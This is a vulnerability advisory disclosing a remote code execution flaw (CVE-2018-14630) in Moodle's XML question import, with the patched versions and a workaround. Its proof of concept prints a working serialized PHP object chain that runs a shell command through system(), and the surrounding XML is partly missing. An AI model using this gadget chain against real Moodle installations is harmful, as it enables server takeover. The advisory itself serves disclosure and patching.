SEC Consult Vulnerability Lab Security Advisory < 20180918-0 > ======================================================================= title: Remote Code Execution via PHP unserialize product: Moodle - Open-source learning platform vulnerable version: 3.5 to 3.5.1, 3.4 to 3.4.4, 3.1 to 3.1.13 and earlier unsupported versions fixed version: 3.5.2, 3.4.5, 3.3.8 and 3.1.14 CVE number: CVE-2018-14630 impact: critical homepage: https://moodle.org/ found: 2018-07-08 by: Johannes Moritz (Office Berlin) SEC Consult Vulnerability Lab An integrated part of SEC Consult Europe | Asia | North America https://www.sec-consult.com ======================================================================= Vendor description: ------------------- "Moodle is a learning platform designed to provide educators, administrators and learners with a single robust, secure and integrated system to create personalised learning environments. Powering tens of thousands of learning environments globally, Moodle is trusted by institutions and organisations large and small, including Shell, London School of Economics, State University of New York, Microsoft and the Open University. Moodleas worldwide numbers of more than 90 million users across both academic and enterprise level usage makes it the worldas most widely used learning platform." Source: https://moodle.org/about Business recommendation: ------------------------ The vendor provides a patch which should be installed immediately. SEC Consult recommends to perform a thorough security review conducted by security professionals to identify and resolve all security issues. Vulnerability overview/description: ----------------------------------- 1) Remote Code Execution via PHP unserialize (CVE-2018-14630) When importing a "drag and drop into text" (ddwtos) question in the legacy Moodle XML format, the passed feedback answer is used unsanitized in an unserialize() function, which leads to a PHP Object Injection vulnerability. By providing a sophisticated PHP Object chain it is possible to leverage the POI into a fully-blown arbitrary Remote Code Execution (RCE). To exploit this vulnerability an attacker needs permissions to create a quiz or at least be able to import questions. A user of the role teacher usually has these permissions. However, students can also be assigned to the role teacher for a specific course. Proof of concept: ----------------- 1) Remote Code Execution via PHP unserialize (CVE-2018-14630) In order to exploit this issue an attacker has to open Moodle's question bank for a specific course and import the following Moodle XML file. The answer feedback contains a sophisticated PHP object chain which only contains objects from Moodles library. After the parsing process the command "echo `whoami`" is being executed. question name How is the weather?

]]> O:15:"\\core\\lock\\lock":2:{s:3:"key";O:23:"\\core_availability\\tree":1:{s:8:"children";O:24:"\\core\\dml\\recordset_walk":2:{s:8:"callback";s:6:"system";s:9:"recordset";O:25:"question_attempt_iterator":2: {s:4:"quba";O:26:"question_usage_by_activity":1:{s:16:"questionattempts";a:1:{s:4:"1337";s:13:"echo `whoami`";}}s:5:"slots";a:1:{i:0;i:1337;}}}}s:8:"infinite";i:1;} Vulnerable / tested versions: ----------------------------- The following version has been tested which was the most recent one at the time of the test: * 3.5.1+ According to the vendor, all previous versions are affected as well: * 3.5 to 3.5.1, 3.4 to 3.4.4, 3.1 to 3.1.13 and earlier unsupported versions Vendor contact timeline: ------------------------ 2018-07-08: Vulnerability identified, further analysis (credits to Robin Peraglie from RIPS Technologies) 2018-07-09: Contacting vendor through tracker.moodle.org (issue [MDL-62880] created) 2018-07-09: Vendor replied and supplied a fix for the vulnerability 2018-09-10: Vendor releases patched version 2018-09-18: Public release of security advisory Solution: --------- The vendor provides a patched version (3.5.2) which should be installed immediately: https://download.moodle.org/releases/latest/ The vendor also provided a security advisory regarding this issue: https://moodle.org/mod/forum/discuss.php?d=376023#p1516118 Workaround: ----------- Disable import of ddwtos questions through XML files. Advisory URL: ------------- https://www.sec-consult.com/en/vulnerability-lab/advisories/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ SEC Consult Vulnerability Lab SEC Consult Europe | Asia | North America About SEC Consult Vulnerability Lab The SEC Consult Vulnerability Lab is an integrated part of SEC Consult. It ensures the continued knowledge gain of SEC Consult in the field of network and application security to stay ahead of the attacker. The SEC Consult Vulnerability Lab supports high-quality penetration testing and the evaluation of new offensive and defensive technologies for our customers. Hence our customers obtain the most current information about vulnerabilities and valid recommendation about the risk profile of new technologies. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Interested to work with the experts of SEC Consult? Send us your application https://www.sec-consult.com/en/career/index.html Interested in improving your cyber security with the experts of SEC Consult? Contact our local offices https://www.sec-consult.com/en/contact/index.html ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Mail: research at sec-consult dot com Web: https://www.sec-consult.com Blog: http://blog.sec-consult.com Twitter: https://twitter.com/sec_consult EOF J. Moritz / @2018